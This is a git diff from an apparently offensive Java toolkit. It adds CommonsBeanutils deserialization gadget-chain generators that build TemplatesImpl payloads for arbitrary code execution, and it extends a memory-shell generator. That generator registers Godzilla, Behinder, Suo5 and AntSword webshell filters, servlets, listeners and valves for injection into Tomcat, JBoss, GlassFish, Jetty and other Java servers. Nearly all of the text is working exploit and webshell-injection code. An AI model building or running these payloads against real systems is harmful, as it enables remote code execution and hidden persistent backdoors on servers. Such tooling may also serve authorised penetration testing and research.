public Object generate(byte[] bytes) {
Object comparator = new ByteBuddy()
.redefine(BeanComparator.class)
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
.value(1L).make()
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
.getDeclaredConstructor(String.class, Comparator.class)
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
queue.add("1");
queue.add("1");
Object obj = TemplateUtils.createTemplatesImpl(bytes);
Reflections.setFieldValue(comparator, "property", "outputProperties");
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
return queue;
}
}
@@ -0,0 +1,43 @@
package com.reajason.javaweb.deserialize.payload.java;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.modifier.FieldManifestation;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import org.apache.commons.beanutils.BeanComparator;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* @author ReaJason
* @since 2024/12/3
*/
public class CommonsBeanutils16 implements Payload {
@Override
@SneakyThrows
public Object generate(byte[] bytes) {
Object comparator = new ByteBuddy()
.redefine(BeanComparator.class)
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
.value(2573799559215537819L).make()
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
.getDeclaredConstructor(String.class, Comparator.class)
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "outputProperties");
Object obj = TemplateUtils.createTemplatesImpl(bytes);
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
return queue;
}
}
@@ -0,0 +1,44 @@
package com.reajason.javaweb.deserialize.payload.java;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.modifier.FieldManifestation;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import org.apache.commons.beanutils.BeanComparator;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* @author ReaJason
* @since 2024/12/3
*/
public class CommonsBeanutils18 implements Payload {
@Override
@SneakyThrows
@SuppressWarnings("unchecked")
public Object generate(byte[] bytes) {
Object comparator = new ByteBuddy()
.redefine(BeanComparator.class)
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
.value(-3490850999041592962L).make()
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
.getDeclaredConstructor(String.class, Comparator.class)
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "outputProperties");
Object obj = TemplateUtils.createTemplatesImpl(bytes);
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
return queue;
}
}
@@ -0,0 +1,42 @@
package com.reajason.javaweb.deserialize.payload.java;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.modifier.FieldManifestation;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import org.apache.commons.beanutils.BeanComparator;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* @author ReaJason
* @since 2024/12/3
*/
public class CommonsBeanutils19 implements Payload {
@Override
@SneakyThrows
public Object generate(byte[] bytes) {
Object comparator = new ByteBuddy()
.redefine(BeanComparator.class)
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
.value(-2044202215314119608L).make()
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
.getDeclaredConstructor(String.class, Comparator.class)
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "outputProperties");
Object obj = TemplateUtils.createTemplatesImpl(bytes);
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
return queue;
}
}
@@ -0,0 +1,32 @@
package com.reajason.javaweb.deserialize.utils;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.List;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class HessianUtils {
public static HashMap<?, ?> toMap(List<?> objs) throws Exception {
HashMap<?, ?> s = new HashMap<>(8);
Reflections.setFieldValue(s, "size", objs.size());
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException var6) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, objs.size());
for (int i = 0; i < objs.size(); i++) {
Array.set(tbl, i, nodeCons.newInstance(0, objs.get(i), objs.get(i), null));
}
Reflections.setFieldValue(s, "table", tbl);
return s;
}
}
@@ -1,7 +1,11 @@
package com.reajason.javaweb.deserialize.utils;
import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attributes;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
/**
@@ -19,7 +23,7 @@ public class Reflections {
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, CommonsBeanutils19.class, offset, module);
getAndSetObjectM.invoke(unsafe, Reflections.class, offset, module);
} catch (Exception ignored) {
}
}
@@ -41,4 +45,24 @@ public class Reflections {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Object createWithoutConstructor(String classname) throws Exception {
return createWithoutConstructor(Class.forName(classname));
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws Exception {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.deserialize.payload;
import com.reajason.javaweb.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.modifier.FieldManifestation;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import org.junit.jupiter.api.Test;
import java.net.URL;
import java.net.URLClassLoader;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2025/2/17
*/
class CommonsBeanutils18Test {
@Test
@SneakyThrows
void test() {
Object object = new ByteBuddy()
.redefine(Class.forName("org.apache.commons.beanutils.BeanComparator"))
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
.value(-2044202215314119608L)
.make().load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded().newInstance();
assertEquals(-2044202215314119608L, Reflections.getFieldValue(object, "serialVersionUID"));
}
}
+1 -8
View File
@@ -22,13 +22,6 @@ def runtimeJvmArgs = [
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
tasks.withType(JavaCompile).configureEach {
options.compilerArgs += [
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
}
tasks.withType(Test).configureEach {
jvmArgs += runtimeJvmArgs
}
@@ -58,7 +51,7 @@ dependencies {
implementation 'com.squareup.okhttp3:okhttp'
implementation 'ch.qos.logback:logback-classic'
implementation 'com.alibaba.fastjson2:fastjson2'
implementation 'org.java-websocket:Java-WebSocket'
// implementation 'org.java-websocket:Java-WebSocket'
implementation 'org.springframework:spring-webmvc'
implementation 'org.springframework:spring-webflux'
@@ -1,7 +1,6 @@
package com.reajason.javaweb;
import com.reajason.javaweb.memshell.AbstractShell;
import com.reajason.javaweb.memshell.SpringWebFluxShell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.utils.CommonUtil;
@@ -21,7 +20,7 @@ public class GeneratorMain {
public static void main(String[] args) throws IOException {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellTool(ShellTool.Suo5)
.shellType(Constants.FILTER)
.targetJreVersion(Opcodes.V1_8)
.debug(true)
@@ -38,14 +37,18 @@ public class GeneratorMain {
.headerName("User-Agent")
.headerValue("test").build();
Suo5Config suo5Config = Suo5Config.builder()
.headerName("User-Agent")
.headerValue("test").build();
InjectorConfig injectorConfig = new InjectorConfig();
GenerateResult generateResult = generate(shellConfig, injectorConfig, godzillaConfig);
GenerateResult generateResult = generate(shellConfig, injectorConfig, suo5Config);
if (generateResult != null) {
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
System.out.println(Packers.MVEL.getInstance().pack(generateResult));
// System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
System.out.println(Packers.ScriptEngine.getInstance().pack(generateResult));
// Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
}
}
@@ -1,15 +1,13 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.BehinderGenerator;
import com.reajason.javaweb.memshell.generator.CommandGenerator;
import com.reajason.javaweb.memshell.generator.GodzillaGenerator;
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.generator.*;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Collections;
import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;
/**
* @author ReaJason
@@ -27,6 +25,8 @@ public abstract class AbstractShell {
case Godzilla -> getGodzillaShellMap().keySet().stream().toList();
case Command -> getCommandShellMap().keySet().stream().toList();
case Behinder -> getBehinderShellMap().keySet().stream().toList();
case Suo5 -> getSuo5ShellMap().keySet().stream().toList();
case AntSword -> getAntSwordShellMap().keySet().stream().toList();
default -> Collections.emptyList();
};
}
@@ -74,12 +74,22 @@ public abstract class AbstractShell {
return Collections.emptyMap();
}
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
return Collections.emptyMap();
}
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
return Collections.emptyMap();
}
private Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
Map<String, Pair<Class<?>, Class<?>>> shellMap = switch (shellTool) {
case Godzilla -> getGodzillaShellMap();
case Command -> getCommandShellMap();
case Behinder -> getBehinderShellMap();
default -> Collections.emptyMap();
case Suo5 -> getSuo5ShellMap();
case AntSword -> getAntSwordShellMap();
default -> throw new UnsupportedOperationException("Unknown shell type: " + shellType);
};
return shellMap.get(shellType);
}
@@ -89,6 +99,8 @@ public abstract class AbstractShell {
case Godzilla -> new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
case Behinder -> new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
case Suo5 -> new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
case AntSword -> new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
};
}
@@ -1,17 +1,23 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.apusic.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.apusic.behinder.BehinderListener;
import com.reajason.javaweb.memshell.apusic.command.CommandListener;
import com.reajason.javaweb.memshell.apusic.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.apusic.injector.ApusicFilterInjector;
import com.reajason.javaweb.memshell.apusic.injector.ApusicListenerInjector;
import com.reajason.javaweb.memshell.apusic.injector.ApusicServletInjector;
import com.reajason.javaweb.memshell.apusic.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -50,4 +56,22 @@ public class ApusicShell extends AbstractShell {
map.put(LISTENER, Pair.of(BehinderListener.class, ApusicListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, ApusicServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, ApusicFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, ApusicListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, ApusicServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, ApusicFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, ApusicListenerInjector.class));
return map;
}
}
@@ -1,18 +1,25 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.bes.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.bes.behinder.BehinderValve;
import com.reajason.javaweb.memshell.bes.command.CommandValve;
import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.bes.injector.*;
import com.reajason.javaweb.memshell.bes.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -58,4 +65,24 @@ public class BesShell extends AbstractShell {
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, BesContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, BesFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, BesListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve.class, BesValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, BesFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, BesListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve.class, BesValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, BesContextValveAgentInjector.class));
return map;
}
}
@@ -1,11 +1,16 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.glassfish.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener;
import com.reajason.javaweb.memshell.glassfish.command.CommandListener;
import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
import com.reajason.javaweb.memshell.glassfish.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
@@ -15,6 +20,8 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
import org.apache.commons.lang3.tuple.Pair;
@@ -71,4 +78,27 @@ public class GlassFishShell extends AbstractShell {
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, GlassFishFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, GlassFishFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, GlassFishFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
}
@@ -3,6 +3,9 @@ package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
import com.reajason.javaweb.memshell.inforsuite.injector.InforSuiteFilterInjector;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
@@ -12,11 +15,15 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -71,4 +78,27 @@ public class InforSuiteShell extends AbstractShell {
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, InforSuiteFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, InforSuiteFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, InforSuiteFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
}
@@ -3,6 +3,9 @@ package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector;
import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector;
import com.reajason.javaweb.memshell.jboss.injector.JbossValveInjector;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
@@ -12,11 +15,15 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -62,4 +69,24 @@ public class JbossShell extends AbstractShell {
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, JbossFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, JbossListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve.class, JbossValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, JbossFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, JbossListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve.class, JbossValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
}
@@ -1,5 +1,7 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.jetty.antsword.AntSwordHandlerAdvisor;
import com.reajason.javaweb.memshell.jetty.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.jetty.behinder.BehinderHandlerAdvisor;
import com.reajason.javaweb.memshell.jetty.behinder.BehinderListener;
import com.reajason.javaweb.memshell.jetty.command.CommandHandlerAdvisor;
@@ -10,12 +12,17 @@ import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyHandlerAgentInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector;
import com.reajason.javaweb.memshell.jetty.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
